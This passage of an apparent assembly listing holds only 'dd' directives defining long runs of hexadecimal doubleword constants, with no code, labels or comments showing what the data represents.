9174FD07h, 0B5AF0FB3h, 3A5D085Bh dd 117E2B98h, 0D23E9909h, 0D6D9D051h, 0A532231Dh, 0EF217718h dd 79D904FBh, 80EA3022h, 92C50A31h, 8DE81207h, 0F70EE7Ch dd 14B5A97Bh, 0C4988790h, 7DCD0400h, 2CA1CE4Ch, 1E71F500h dd 9475C0F4h, 5CD47768h, 0B8006083h, 804BF7Ch, 6E1695A9h dd 60017211h, 58AA7D0Eh, 16A1088Ch, 775F520h, 24CC6A00h dd 6BCA9CA3h, 253A1D47h, 0EB0A832Bh, 92E0E535h, 90C00486h dd 302E3C84h, 119A004Ch, 252BDFB6h, 18016FBFh, 0FDC033AFh dd 4AC0EDFAh, 68F8140Dh, 8808900Eh, 0E0417DEEh, 36D464D9h dd 548085B3h, 6EFBD949h, 0F9EE01ABh, 0B2E1BC44h, 0FFA4CCFEh dd 28DA9C30h, 0EC0FA2A9h, 8DEE00B3h, 599F3185h, 9619C542h dd 6E7809BDh, 0D33AEA18h, 0CC46AB5Ah, 18C42B08h, 7414980Eh dd 0B0031877h, 0E3C8DBB6h, 4A60011Fh, 0E6CBEF24h, 7BB4409Ch dd 2B5BEA3Fh, 1D7763E0h, 0B9E8E9h, 2272F63Eh, 1600BAE6h dd 0AF5FCC4h, 4C40DCAFh, 700016D9h, 3A66DDD3h, 0FB006A8Dh dd 6DAF20B8h, 78E4E3h, 4CA283E8h, 5A7E6B9Bh, 6ECDF003h dd 0F8E1F41Fh, 176192FBh, 741E97Bh, 309B939Fh, 35B32527h dd 0C9157400h, 31B4A8C4h, 1A430061h, 739620A6h, 3B00D634h dd 0EF84B6F9h, 0E749C95h, 5B51AFF5h, 9114C05Fh, 0EB56BEDDh dd 4BF36701h, 0BB64285Ah, 0E177B541h, 3D0C21D4h, 0DC03C65Dh dd 8DDEC876h, 8CB21815h, 841FFB04h, 57268022h, 0ABDF41Ah dd 93A07500h, 0B9E40212h, 313E615Eh, 9E618439h, 370F8838h dd 7278E1E5h, 0BCF29D3Eh, 0E6092934h, 2FBA584Ch, 0DB106460h dd 28CA5Dh, 5FE0980Fh, 0D26B0574h, 5C43B63Eh, 0C50C409Eh dd 91640886h, 61080BE9h, 3844426Ah, 44181910h, 834207F4h dd 8A1CBD10h, 31843C99h, 974ED362h, 66958510h, 18310C0Ah dd 2417E98Ah, 45A92408h, 880C44A5h, 1D0D21A4h, 0BB426B08h dd 24180115h, 8AC42E1h, 8D60A875h, 496CA137h, 4298904Ch dd 24ED2A86h, 219C5153h, 8C1888F9h, 0F321D44h, 799154A6h dd 0C5B1A10Fh, 60AA833h, 19D3BC8Eh, 8C12921h, 87026712h dd 60039920h, 90BCE1DCh, 19470F00h, 0BFAFC2D9h, 345DC720h dd 6100A464h, 0DB8ECA0Bh, 58A87974h, 0C309C3E0h, 3F822C9Ch dd 244827B0h, 67184116h, 8A0BC51h, 0D1BF6004h, 4681F232h dd 71E218C0h, 79DF43FEh, 0E78E0005h, 0D136E37Ch, 0A1C02D1Fh dd 5743A2F2h, 0E2642011h, 0FD60BD77h, 2C22D789h, 947DB1h dd 25414E8Ah, 78F3770Fh, 26308C04h, 7C84E03Ah, 16541C7Ch dd 0A32CE0Ah, 58A69Bh, 0A84CB4D3h, 24009BFFh, 2E4E39A4h dd 0EDF22BCh, 539C61DDh, 58642126h, 0A7814906h, 3E80B994h dd 0FB17424Bh, 0A10B8DDh, 0C889F408h, 5032E89Eh, 78506801h dd 84DF03C9h, 1FDC159Ah, 5C0A2800h, 7F9D470Eh, 4D41006Eh dd 0F2AFB1C2h, 0AC1D534Ah, 0E40016EDh, 0EAF4BC80h, 3F2903ECh dd 7D50C092h, 0DE5C40FFh, 0A500061Fh, 0D73F94Eh, 70985284h dd 0B512005Ah, 63430BA2h, 33007D08h, 0A9DB341Ah, 46CA3Bh dd 4861C675h, 0D8E5E8D5h, 0B783DCF3h, 3474BA00h, 2BC0A9DAh dd 9E6F03FDh, 173D8B0Dh, 2F803CE7h, 0F6696303h, 84B70624h dd 3878F204h, 8D3D01A8h, 3A24372Fh, 0B7E9DC38h, 6B8E4100h dd 0D5ED7F28h, 760B03F2h, 6FEAC3D8h, 0EE0E9819h, 0A9860210h dd 0F0A25356h, 60171E0Ch, 71A0DFh, 72B04B0Ah, 14154AA1h dd 0FB2240h, 0B378C10Dh, 5BA631F4h, 38A9DE0Ah, 203680EBh dd 39A23018h, 7C98D010h, 2D04B81Dh, 59608E00h, 3A445DF6h dd 4C30D3C2h, 0C043935Ch, 0C1FBB000h, 4631BAECh, 13F60E57h dd 5836E84h, 8CE17B38h, 0ED188B49h, 0BE67017Ah, 50805447h dd 0BBD6A267h, 8700598Fh, 3DA513C4h, 3A4741DBh, 0C103D20Eh dd 0F62782D3h, 0AC011807h, 54C04CEAh, 709BE6h, 0DCD510CEh dd 96A8F182h, 56180401h, 0D9C5844Ch, 0F6974080h, 0DB10ABB1h dd 7EAF5716h, 70C41E00h, 372BEEAh, 9192C18Fh, 89E0A8D3h dd 0EF01F89Fh, 0F0182F22h, 5A8094B2h, 4C6C03B1h, 0A1008054h dd 585C2E36h, 32E895h, 7FDA6251h, 0AB161A7h, 0E3E629C3h dd 18A00377h, 0BDDF054Ah, 0EC76E804h, 0A01089F8h, 0C6070A3Dh dd 0E053EF11h, 4C359567h, 2AE598A0h, 561DD300h, 0D52FF75Ch dd 0E9406320h, 703B6284h, 71ED0A89h, 425030E8h, 58C923B5h dd 572E888h, 0CDA81Ch, 87774CC4h, 3B03EDEFh, 26AE58B0h dd 0E1300054h, 0A6435F6h, 5205B243h, 19D52C7Eh, 0CE2E040h dd 0F0DA029h, 0F305BA53h, 0C89434C0h, 40C0E9B3h, 4CA4FB3Bh dd 2057007Bh, 1604872Bh dd 6662AF51h, 0C1ED5478h, 51805AF9h, 1AC55C7h, 0AB14B259h dd 0EC4C97Fh, 0F842A26Bh, 0EEAFE1h, 53ED36D4h, 0BDBEAB86h dd 7C004090h, 0E3F17A1Eh, 0FA669AC8h, 0F6B200C0h, 5B0E4DC6h dd 0B8C24BB7h, 0A01733A8h, 595FE888h, 21F9C09Eh, 7CC5378Eh dd 0A0505748h, 0A76AB9Dh, 61A95A66h, 0CB108048h, 6E4B93C6h dd 0F173EB00h, 573F5AF3h, 9E53006Fh, 0AAB9FFB4h, 4D016C78h dd 0E81BEC06h, 0F3C4A749h, 5BCE020Bh, 9282AFD9h, 384FCA8h dd 97A8D2C2h, 7BDA984Ch, 0AE49E8F4h, 0C7420384h, 1447C871h dd 5879D530h, 0B6036321h, 60F2C35Bh, 5DC6B8E9h, 5578ACE7h dd 70C7A0Ch, 1EF36096h, 8977ED1Dh, 7420B8B5h, 9512F85Bh dd 0CF2B20C0h, 507B361Dh, 1168494h, 1F55D44Ch, 866021D9h dd 13305BD8h, 53581431h, 7601E589h, 1FCD6BEh, 4164218Ch dd 10EB0C34h, 0E18455Ah, 2D43BC21h, 42DC45h, 6C1D05D0h dd 0EF1FB5B0h, 0B0C757Ch, 0A8C4192h, 0C00301D9h, 4EF10308h dd 6CD29B0Bh, 10489019h, 790A2462h, 0FFB60198h, 810CE7A6h dd 0A3163F08h, 0A05076B9h, 601F2Ch, 0AA98A230h, 0A14E595Bh dd 8284C726h, 6A46A800h, 7178DB61h, 8C184CEDh, 4406494h dd 9B81033Fh, 43C195F4h, 0F2E31800h, 82BB75ACh, 0E9870A5Ah dd 1E4F457h, 96F518F9h, 9381807Fh, 3B1CF3C8h, 0F40CF047h dd 810E2490h, 7BDEA87Ch, 614B0141h, 6292ED47h, 0C9C3E882h dd 48C22091h, 63C891E9h, 0FF0A0422h, 40C80F72h, 33CFD18Bh dd 5DF76503h, 0ABBF4B6Ch, 6A3809E8h, 0A8A0C101h, 15F9CD54h dd 0A0F3940Eh, 0BC515814h, 0F4CE293h, 48E3183Ch, 7BCFCC1Eh dd 5200FF10h, 4A36285h, 2A72F37Fh, 37304E81h, 4AB105C3h dd 0CF978048h, 9EA24ED9h, 7722077Dh, 0AEA603E8h, 48A474DCh dd 5913903h, 9B642F1Fh, 0CFBAC863h, 0EB06E479h, 0FEC6270h dd 35D0F84h, 416A9C21h, 0CCB8F7C2h, 4400F8A9h, 0D3714280h dd 0F181F9h, 0FAF7127Bh, 98481A59h, 0DFEAB800h, 93FE10E7h dd 0E4B7135Ch, 0C2B0391h, 15A0DAE5h, 0D000CF47h, 813EBC85h dd 7ECA183Fh, 7C120080h, 0A6F1D4C4h, 0BB909921h, 0B1FB1600h dd 77459F5Ch, 6AACA81Ah, 1C690095h, 975E60F6h, 716EA624h dd 1255E0E1h, 24733E94h, 8590D24Bh, 139EF3h, 92A1D7D7h dd 1C126D09h, 1A00A8D1h, 3E78C308h, 98A012BAh, 1D31E72h dd 0F7E3F3CFh, 30603058h, 80065739h, 1F1D9D7Dh, 0ED72156h dd 60B7A745h, 0EA2B51A0h, 0A176B2Ah, 0FF207Dh, 406114B0h dd 96E045A7h, 0B26C1800h, 1F78593h, 0BF8300D7h, 4AB0B105h dd 0CE07C7CFh, 0E2E3CB73h, 55134B00h, 6D600EF4h, 0FBEF46E5h dd 49B6D120h, 0BBE2B196h, 41CCF21Eh, 0CA686540h, 703F2C11h dd 77D60051h, 0AE103479h, 16074A2Fh, 0E44D81C7h, 0B164ED60h dd 0E0CA0083h, 0D6EEC941h, 0D50F2AC6h, 40874295h, 6C12DD8Ah dd 8C3A0009h, 82D23962h, 987481C2h, 0BE0020F2h, 0D71145C7h dd 1C4BEB91h, 0C08E6874h, 8C54798Ah, 0A0009CCAh, 97FBBE15h dd 3D945551h, 0D580E621h, 0AEC81D8Bh, 8F005F96h, 50C39D07h dd 0FD79B6h, 0C18B084Ch, 1B861F03h, 7A67871Fh, 3804EB00h dd 0D3E9FCh, 46B6F966h, 17C2585Dh, 763C7500h, 5FC13388h dd 9790072h, 2112C88Ah, 0DC039447h, 2526C74Dh, 0D344D8C3h dd 0BD291F9Dh, 0C5D503B9h, 77C81E50h, 0CBF28B0Dh, 22C9F200h dd 0A66DEE5h, 5BBC00F1h, 0A1599709h, 900016D5h, 0C3818425h dd 0F87247h, 58ED3DC9h, 860EAD8Fh, 9D0051F8h, 4B1CAB65h dd 7AF2B09h, 3A41180h, 0EF34C041h, 5016D810h, 9000CB97h dd 0D9793A3Dh, 6B7100A7h, 0DE0D85F4h, 0DC7E9CECh, 84B0DF00h dd 1AA7DA61h, 0AA9B2806h, 0A1E2B4h, 7F4BCC4Eh, 3941B66Ah dd 9CD24500h, 4790AADBh, 50DE7328h, 117C43Fh, 7B41511Bh dd 856A4F75h, 26601610h, 4842C700h, 0A406D2h, 238B0CA3h dd 94B54FDCh, 47062AF0h, 9385A671h, 0E6490080h, 0E8D560CDh dd 0A300AD18h, 27CA4B02h, 503396C3h, 97C0A1h, 0A5BE5A0Ah dd 22B22967h, 9C6DF400h, 6B791061h, 1E66009Eh, 976CEB95h dd 0FBEEEC6Ah, 0ACB85B0Ah, 9D0EB4B0h, 0E0B05D78h, 0A86E895Ah dd 2E69E0h, 0D8FCE221h, 0E7EAB482h, 48DE7D01h, 0AECFB56Ah dd 39CCF0h, 0FF2BFD78h, 0D525E00Dh, 0D30E49FAh, 0A3E72444h dd 0A8840C60h, 0A8078908h, 0E3C3A8h, 0A37025B5h, 87BF46C0h dd 600BF000h, 0BEB64589h, 5E760074h, 97A506B4h, 0BA00E999h dd 2D8ADCE6h, 3A842131h, 0B6806583h, 4B1157E0h, 7B4C236Ah dd 40430029h, 0B4876E4Eh, 0DB370059h, 0FCE8ADC5h, 0F6006B14h dd 64FB66B6h, 0F7DE7Ch, 2CCF204Ch, 746AB3E8h, 11F99800h dd 0B4A7C468h, 0B7C31C43h, 0C36B9FEBh, 0EE8D0FFAh, 0A6E88190h dd 722D58h, 0D54E7387h, 0B80978h, 989930D6h, 6B915A20h dd 8518600h, 6438D8F1h, 0BDB500BEh, 0B40EAEA8h, 7C1DB104h dd 0C7182383h, 0BF8178h, 34EA2CC2h, 0AC48C171h, 1EF51404h dd 7CC34657h, 0E842A3D6h, 24B7A21Bh, 249EFE2h, 7B66A425h dd 99A0F48Fh, 0D2436FC5h, 0B49DCB09h, 0D886012Bh, 1CE82ED0h dd 74500070h, 18EB6D83h, 230066AEh, 0BC8952D3h, 2069B6h dd 0E89EC906h, 92BEA1C4h, 9D5829F0h, 0A61F7C07h, 2840AE20h dd 1227C58Fh, 0BEDF000Fh, 844F7988h, 40002D4Ch, 7D8E86C4h dd 5532867h, 0B5312B39h, 0ABE812Fh, 3D8ACCE2h, 0F420300h dd 0F8374C7Bh, 72DE222h, 0FA8F69A0h, 6A635048h, 40007866h dd 0EEF5987Eh, 7BE9A93h, 92BCA7FFh, 1176A0BBh, 7001FF9h dd 9D6E1860h, 0D58853h, 25CFAF26h, 6A3A2757h, 870F07B0h dd 20766B64h, 2FE8FC0Bh, 0C32C0017h, 83CAA145h, 0FE00960Dh dd 5CAF6902h, 1D847708h, 80B79BFFh, 4EA0AD92h, 0B374DCD6h dd 11132830h, 0B6CE1Fh, 0A9BD9A85h, 4B017AEh, 66A84601h dd 0BC972F9Dh, 3BE898E1h, 94EF03A2h, 9A01652h, 66F0A4C0h dd 0F4823C2Eh, 74BF2A05h, 0C613F880h, 7E09AE0h, 2FBA0ACCh dd 0F0EE47A0h, 0D00641B9h, 8027E403h, 7AB15EBh, 67286DB2h dd 8B59D0E8h, 19000A36h, 0B8BBE135h, 0A648AB0h, 0ED688840h dd 2C4D00C7h, 0CDBDFA6h, 91AC3800h, 7CBB75C3h, 0F5E6006Dh dd 13CEBF39h, 0E200F7D9h, 2BEA9DB1h, 271E97h, 828381ADh dd 0E7B89E1Ch, 0AC4E1F00h, 8C79FE98h, 37850EEBh, 2EC77291h dd 5CA80062h, 90033EDh, 6EADD476h, 6364Eh, 0BF623815h dd 20EA983Ch, 48A83300h, 5CFFDC45h, 109500CFh, 56577086h dd 0BC0FE1DFh, 5D1A4EE6h, 0A040D80Eh, 722829ECh, 160E25Fh dd 6F994D8Fh, 0C6EAE92Eh, 0C6AE87E0h, 0A966E203h, 93E837DCh dd 57A6D186h, 0F43D1CF8h, 7ACF00C8h, 89474FA7h, 2B3A8F34h dd 0B19BA85Eh, 29049270h, 5A39B633h, 37C8CDC0h, 288506A4h dd 60AD5F6Bh, 8071804h, 0D4C7787Eh, 0FB36BA90h, 0A25B301Ah dd 7EE47D21h, 0F790F967h, 0ECD383E1h, 1878420h, 0C5FC4FD7h dd 0E08CC275h, 0AB18CC70h, 4620E367h, 0FA1300B2h, 7A3D152Eh dd 0A4287703h, 0F200D8C2h, 0CD343A8Ah, 3625F65Eh, 69207EB7h dd 893C7F02h, 87325437h, 970D544h, 0EFBE07Dh, 5534993h dd 1CE82500h, 0AB0035C2h, 0AAF13307h, 783F5Bh, 11EAD421h dd 0FD63CA7Eh, 59895C00h, 42351391h, 0DD3F1E6Ah, 5F7B001Fh dd 0C3957810h, 2CD43Ch, 0DBF51177h, 2C294EBCh, 0C9F924h dd 86340B3h, 39F8C39Fh dd 5E1E7B16h, 0B9E80400h, 39138BFh, 182F3EF5h, 11E08B06h dd 280F6AA1h, 9681B4h, 0AEF1ED53h, 0AFE90464h, 0C0D49DE7h dd 5A31A664h, 0CD069776h, 0C5BFABADh, 0F8686008h, 4CDA85AEh dd 0E3080916h, 2FF30D00h, 0F4E1A03Dh, 8C890969h, 182719F5h dd 105A90CBh, 9300512Fh, 0C213DB32h, 4DF8EEE0h, 0C6009C07h dd 38C0B682h, 8B0768ECh, 8DB2545Bh, 0C0477245h, 0C03EEB48h dd 9591708Eh, 1231B0E6h, 5F4FFE3Fh, 90B4801Ch, 0D2D8E057h dd 817E423Fh, 81B2E63h, 0DCE4A464h, 7DC0E81Dh, 47E2011Ch dd 0E7B37F2Fh, 0C6FFD086h, 0AA000FB8h, 6CA9B016h, 51ACBAh dd 4493B848h, 0E9108194h, 58E5F300h, 9E36BC8Bh, 0B35104CBh dd 800F8DB4h, 0E0693D2Eh, 72566E00h, 73A54598h, 901703C0h dd 0BC932D07h, 86DF48E0h, 0F22B6300h, 0B07942BFh, 6AED00C1h dd 9FD9BD8Ch, 8A0385C0h, 103C30AFh, 0C54AB92Dh, 0A103D4h dd 243FAB6Eh, 9C26A28Bh, 0B05DF400h, 1FCF88E5h, 4C101D50h dd 0AA6B0019h, 0BBAB0F78h, 0F8409E09h, 556B03C8h, 0DEC6B47Bh dd 2CFC0060h, 0F17DE0FDh, 25008389h, 0D2BFCC74h, 0F85C22Dh dd 5756606Ch, 5DA830E0h, 0B30092E4h, 34475B32h, 0A120FAh dd 0E39F8F4h, 956EFB5h, 8B3CCFFEh, 871FB82Bh, 0D53B7170h dd 5A85C190h, 349A0076h, 0FFD30B2Fh, 0E0F4BA5h, 40677765h dd 452A786Fh, 367E1CC3h, 6B8CBE08h, 0AF082947h, 48025EF6h dd 0A37205FBh, 4167C357h, 0D4D5C9C9h, 2F2CD4h, 0E987E8A8h dd 91A44B44h, 0D80736F0h, 0FE2B27EFh, 3592E2B0h, 74B80285h dd 0E67D8B53h, 0F752F880h, 0E700D0A2h, 770E4326h, 285D6656h dd 0F09D3B3Eh, 6D870F51h, 0F2A08106h, 0D4ED7AC8h, 27737C98h dd 0E62A1600h, 3A10C278h, 0E2D90072h, 48E17A29h, 0E4000575h dd 8F16FE55h, 0FBCDF21h, 7F189E53h, 5848742Ch, 696B0E00h dd 0C6944668h, 7C76FDh, 0DD7477F0h, 372A609Eh, 85D3E200h dd 0BDAE6CAh, 0EF9C0148h, 55870379h, 0A33ECA1h, 22C23207h dd 0FD00ECE7h, 0A3D873h, 2E994A3Fh, 2C88DB96h, 6F7D7E00h dd 0BC92F29Bh, 0A1C0009Eh, 314AEE10h, 45001FAAh, 135C1D8Eh dd 1A2707Fh, 72C32F50h, 0CC477960h, 0F11ECCACh, 0B8FFB0E3h dd 0DA918042h, 5809FF15h, 45C0001Ah, 0D7485775h, 3CFAC428h dd 422DCD00h, 2647FE6h, 41CB242Ah, 7303002Bh, 2B7628ADh dd 19F84907h, 4D600B4Ah, 0B10D71h, 6FDEB6C4h, 0FDED988Bh dd 0CED21C07h, 7CC0C612h, 539B8Eh, 0CBF7A07Dh, 389F1896h dd 6C55EF00h, 0A5D82AB1h, 0B4CC0007h, 324AF2C7h, 0E000C3BFh dd 4B5BC108h, 319CD9Ah, 96F75531h, 0F0A64971h, 2C3BB700h dd 5A14188Fh, 1C2D78CFh, 0BF325FA9h, 0C39D8200h, 0FDA050BDh dd 296C2016h, 4F48B0h, 8990FF71h, 591FBEDBh, 0E1A5110Ch dd 38BD59A1h, 64812CAEh, 9BE33B14h, 0D0FDC978h, 0E4003F20h dd 0E97D5287h, 50808BB4h, 0AE14A3h, 94BB364Ch, 1F2C8C33h dd 0CA7023F8h, 2FA66F0Ch, 3417604Eh, 0C670CDF8h, 2B3070B5h dd 2F7A9EFh, 87BC00BBh, 1D4115DFh, 3E1427B0h, 784B719h dd 4C2EA430h, 2812A0CFh, 0C3DD898Ch, 0F0C9BFB8h, 0B19807F5h dd 71DB30FEh, 0A700E61Bh, 0D64D1A04h, 72830B78h, 92C50096h dd 96BB6CBh, 44391670h, 370F8B23h, 7FDD801Bh, 0D48760h dd 0B88A5B47h, 0B910962Dh, 0B4683101h, 3B171563h, 646E18D0h dd 20BF287Fh, 807091B4h, 0E98B139Fh, 8605E007h, 0FF10297Ch dd 0CB116F35h, 6A091916h, 4310B779h, 2300D552h, 405FCDD9h dd 0CADC74h, 4CF4DF65h, 2AA09C4Dh, 0B3A10700h, 0E4FA6E2h dd 25C02441h, 0FE0138C2h, 249C4576h, 2D837088h, 169D7400h dd 25F45E21h, 40F6F6h, 7B60F72Ch, 1B9BE94Eh, 97584500h dd 0B66C9650h, 55ECF2h, 32A7E5D6h, 0C0BD9F4Bh, 6BA65200h dd 786CAA66h, 0EC73AFh, 47B636E1h, 0C9D58821h, 3809140Ch dd 48F81872h, 6F179DC3h, 59E700A9h, 56C96AB4h, 6900D078h dd 0BCB191CFh, 0FC5E77h, 5AA31B1Fh, 167F502h, 0AE00D9F0h dd 6B99F0D4h, 76EAC3h, 41A1A93Dh, 0E88D6D34h, 7FAB1E00h dd 7569DB98h, 47B3A0FFh, 6A25002Bh, 0B3E80838h, 8B2EDD7Ah dd 5800AE79h, 0C18461F9h, 0DAB00CDFh, 0CA90EC88h, 0ABA14300h dd 38E72F90h, 7F6D03A8h, 6E5CF9Fh, 4296CAF0h, 87F50C3Ah dd 0C995B9D0h, 0C4B0E0B0h, 3F1800A2h, 23F91B88h, 15001413h dd 64F40840h, 9685DEh, 1B528153h, 454EE892h, 0BFDFFB00h dd 9B1ADA63h, 0B060C962h, 0D6743700h, 0E100DBF7h, 6EBEBA51h dd 7B738736h, 0CE7DA9h, 1453824h, 394B7882h, 6896A00h dd 84EDDB0Ch, 73600014h, 0A159A76Fh, 0C400097Bh, 8A92D8ECh dd 7DFFD5h, 0BD3311CAh, 8C125217h, 0F7B26A00h, 1DA7FB4Ch dd 58B107E5h, 20BCAD22h, 54A931CEh, 0A85E6D00h, 3A6B4BCCh dd 75590045h, 468724AAh, 0C426ADCEh, 13009C1Fh, 7FD2D99Eh dd 900CEC3Bh, 0DCF20073h, 3EA10B44h, 9803920Dh, 6B1A1CE9h dd 4F0688E8h, 3FE00Ch, 500922C1h, 0EC7D5BF2h, 0DE8B292Fh dd 0A6C700CDh, 3489F6D7h, 10705F00h, 0D9874D26h, 1A6005BBh dd 87820305h, 83EA0032h, 8C00F1CFh, 45469FF2h, 0E109D2h dd 1B31C02h, 95A5C9C8h, 0E4D47818h, 9E4C20h, 0B91B327Fh dd 18C91A5Ah, 0C1905000h, 6154EC6Ch, 0AC2038EDh, 838CA700h dd 5111C936h, 24D72C00h, 0F2878802h, 6BEC1FD4h, 0DCAC0026h dd 0A27AEDC7h, 2F005FFEh, 0E06A1DA0h, 30FDF3h, 42585EA1h dd 25BA546Fh, 5FDD3B00h, 2460AA27h, 0F4CF01D2h, 6974CEEEh dd 0A604CCE6h, 0B54BA400h, 0AB80CC63h, 4D1F002Fh, 89EF3B2Ch dd 403D1AD8h, 96EA0088h, 0E3C89705h, 521807FDh, 0CF249083h dd 0C0019FA0h, 0ED7B05DEh, 0EBD3CC1Fh, 0C5802E1Fh, 827E5A65h dd 38D9E8D2h, 0B300B7B6h, 2D994714h, 80006E31h, 513C013Eh dd 38AF7A97h, 7F801A89h, 611D8A13h, 0E100B096h, 0D6A8D3EAh dd 2CB8AC5Fh, 3C89520Ah, 0DF4AE80h, 0E408E8B0h, 986D1130h dd 9819B2AFh, 2B02005Ch, 1462DC44h, 0E3761EEAh, 278E9800h dd 77929733h, 9FAF0922h, 1F814C4Ah, 800CFB8Bh, 0E566CB72h dd 16D530Eh, 91FFEFDAh, 70BCCDB7h, 9807097Ch, 8E590610h dd 0DC41B600h, 0C1A20014h, 479B8440h, 0A33BE535h, 9F1001BEh dd 17B7D9B0h, 880DFCh, 2FF7735Dh, 5C488A32h, 37FB8F00h dd 0E928A655h, 0F5ED0791h, 117C62Bh, 20DDAEF9h, 1C0E0A4Bh dd 20D9C7E5h, 0C84314D8h, 0B78A00A1h, 851DE8A6h, 0F205785Bh dd 2FC6B0B4h, 0B82F82BFh, 0A9E33FC0h, 0D5124103h, 90E792C3h dd 0ECD86h, 0E50A29E6h, 4448C06Eh, 0AC4DCE03h, 8778AFB3h dd 0A0F31AE0h, 0F2FA98h, 87CCA6D8h, 6A3F7158h, 482D6809h dd 81600A4h, 0FA052E78h, 0F9EA00DCh, 43B4076Eh, 1200D93Ch dd 0CE279BD6h, 60493Ah, 478EBA9Fh, 89799369h, 0A0E10E02h dd 5DC0A818h, 25F26660h, 8E65F316h, 201EE80Fh, 1FDED1BEh dd 262000F4h, 0A50D68FEh, 28008A0Eh, 0A94977B4h, 60C7BA2Dh dd 9B50F8ADh, 0D707AB08h, 8542F4A6h, 4E5E1150h, 0BDA700D6h dd 0C7950FF2h, 69029A60h, 0F6F92256h, 0CF34409Ch, 1AAD03DFh dd 0FF10582Ch, 0CBAAD0E0h, 6D9C7400h, 30570924h, 43862CDAh dd 0F52082h, 6F994C38h, 0E3F20A32h, 4E33F300h, 6CD2282Dh dd 27550092h, 7B0E90EAh, 9F09C2E9h, 7CACD12h, 0A0709392h dd 0CCCED6h, 0EC1DA98Bh dd 4FB7D333h, 56189200h, 5A99E978h, 0B7C00CEh, 376F81BDh dd 0A2004524h, 56A7B363h, 18E35C3h, 0FF959F91h, 0C8FEF264h dd 363990F8h, 3AA20051h, 16D94DDFh, 0B55003F0h, 116D4E79h dd 70AA5EE9h, 0F37A0D0Fh, 10B7B900h, 207C2474h, 55E80095h dd 0C1D9EE18h, 0AEB06D9Fh, 596A0F02h, 0C0D086B2h, 348E7Ch dd 0B9EB73C8h, 0F0954DFFh, 5E20DD00h, 7B9A8329h, 13180087h dd 9D8A9FF4h, 7700F8EFh, 0B48D45BDh, 5580A2h, 56FFB8DFh dd 2B6307E5h, 0F934BE00h, 1E84B10Ch, 953C002Ah, 368D6A2Fh dd 0C50E716Fh, 0A028AC86h, 33532047h, 94340096h, 0E709690Bh dd 0CE07371Bh, 9179F8DBh, 0D703A5A0h, 933D1CCCh, 0B4820763h dd 0B71690E1h, 98006E62h, 92487A15h, 0B803F8h, 0AA3F57F2h dd 0EE4ADD96h, 9865B700h, 0D34D16D8h, 0EF0403C0h, 4B0975FEh dd 0F1897000h, 0BD5BB9F2h, 186C60B6h, 183559ABh, 867502B0h dd 0F79848F8h, 890058F6h, 4E8BE1C0h, 3CA18EA5h, 6DB01A87h dd 8D539E38h, 0E4B0370Fh, 0FDEC01D0h, 6E008EBh, 7D6700C6h dd 9F8D89E3h, 0B300A6B1h, 4D2435A9h, 0FEEA2D8h, 1AB8CCECh dd 0E0FEC667h, 0E3D45B42h, 0D0C1DD1Fh, 0E7D644C0h, 0B0F926CAh dd 3B58006Dh, 83248E01h, 4B09D972h, 85A276h, 0A9CCE434h dd 0A11B0003h, 0F9211AA6h, 0C20042C8h, 0F8543238h, 620C72h dd 6FC6E952h, 101E12B7h, 9AC487A0h, 9BC35Ch, 8C94AEADh dd 26B7FE5Eh, 0C572D8h, 38932063h, 2B00EF5Bh, 0FB65ECA2h dd 18C4A26h, 83CB5145h, 0E40277C6h, 9A001149h, 38642BBAh dd 0F6EAD05h, 6B91BFFEh, 94D6C11Fh, 0FCD75D93h, 4C004D04h dd 10083042h, 325A36Ah, 0BF85C858h, 0D589B6F8h, 87E5E836h dd 43B02600h, 0C060A633h, 5FA002Bh, 250E77D3h, 610C3772h dd 88AD5ED6h, 7677501h, 0A8CC1AA9h, 7634A0BAh, 0B00CDAFh dd 8F46E1FEh, 0D98664h, 0ACB644EEh, 0DFAB2B0Ch, 0BB7AFB00h dd 43D02AC6h, 5231249Eh, 0FA090058h, 0B9E21D1Eh, 480E750Fh dd 0FBC6604Dh, 798FFBAh, 78DDB831h, 0B5190F9h, 0F000A51Fh dd 0E85A6071h, 1DDC83h, 9E8BEFE4h, 11E7C45Fh, 0D4462200h dd 803A22Ch, 21CB0364h, 86BF65E0h, 72F004EBh, 0D300D11Fh dd 66D254C3h, 1CB705C6h, 0C0AFD5B9h, 5D085615h, 0DF002407h dd 0A27EA094h, 454412h, 23F441AEh, 0BC787527h, 469B1900h dd 0F7702613h, 3FEE0038h, 103345A7h, 0CA014ED6h, 44DD9AA2h dd 57F04743h, 0AE990FABh, 0E1E60931h, 83004824h, 6506F07Eh dd 3D1CBE5h, 0F7C9035Bh, 91B862D7h, 0E6004349h, 7582280Eh dd 25AB8Fh, 0CE47E105h, 762B0B3Fh, 0A231C000h, 0A1DE5E7Eh dd 2DFF006Eh, 3D778B46h, 10000ABFh, 21C01578h, 0EA8AEDh dd 6B0C8E5Ah, 0E7A93959h, 2CFCC20Bh, 62CF0032h, 1FB103Eh dd 517EBF7Dh, 808A4FAEh, 475A4E18h, 0B9E342h, 11F37073h dd 12351D4Ch, 0AEF604B8h, 0A5182E00h, 0C244ED02h, 7C960308h dd 9C4C36EEh, 826387E5h, 4340425Ch, 0C0EC999Fh, 0B1765101h dd 0C298FB33h, 0B074B820h, 37D800B7h, 0B9D5B3E2h, 8300C1F4h dd 70DF249h, 50AC26h, 2B12F7CDh, 0CED0E3C4h, 38028301h dd 5C469082h, 2A5F8FCh, 0B9A15A7Ch, 2760979Ah, 701CC5F5h dd 0B87FD1h, 5406B5AEh, 0DFD616h, 0E4E72E3Eh, 30DBAC8Bh dd 639CA200h, 3236FE1Fh, 650100FFh, 6E512B53h, 6B013CC6h dd 41C817F3h, 31DC0FB0h, 687A001Ah, 3E1CF270h, 0A901A736h dd 4AECDCCEh, 0FD70696Bh, 30DF0F5Bh, 0EA00A395h, 0ABF7BAD4h dd 1A007398h, 5EEE7AF1h, 18FF4CF4h, 2205949h, 83002722h dd 0FB9DDD6Dh, 3FA7CDh, 0CCC68C97h, 0F8B0765Ch, 2A6E6300h dd 16191B87h, 0BBF10374h, 7509D2DDh, 85E818B0h, 0E178C00h dd 9BBC8D7Eh, 0AFA500DFh, 0F643D6F5h, 0D6B878EEh, 3D3EBE03h dd 0B00E5EB5h, 24E1AB3h, 430D92Bh, 0ED406286h, 4300545Ah dd 77DCF219h, 3E3C53h, 70202B25h, 9973FF7Ch, 0F014AC00h dd 0B3C688A3h, 0A830EEBh, 77C1932Fh, 0E0BA9D51h, 0FB009005h dd 0ABE24207h, 7997605Bh, 0D2DC00B7h, 0EE64B5ADh, 35071753h dd 0F3238EDFh, 85D0C0F0h, 923700C4h, 7D443C21h, 0CB005C1Dh dd 0E8A7A133h, 0C74310h, 5796D6D7h, 98063704h, 0FC0C600h dd 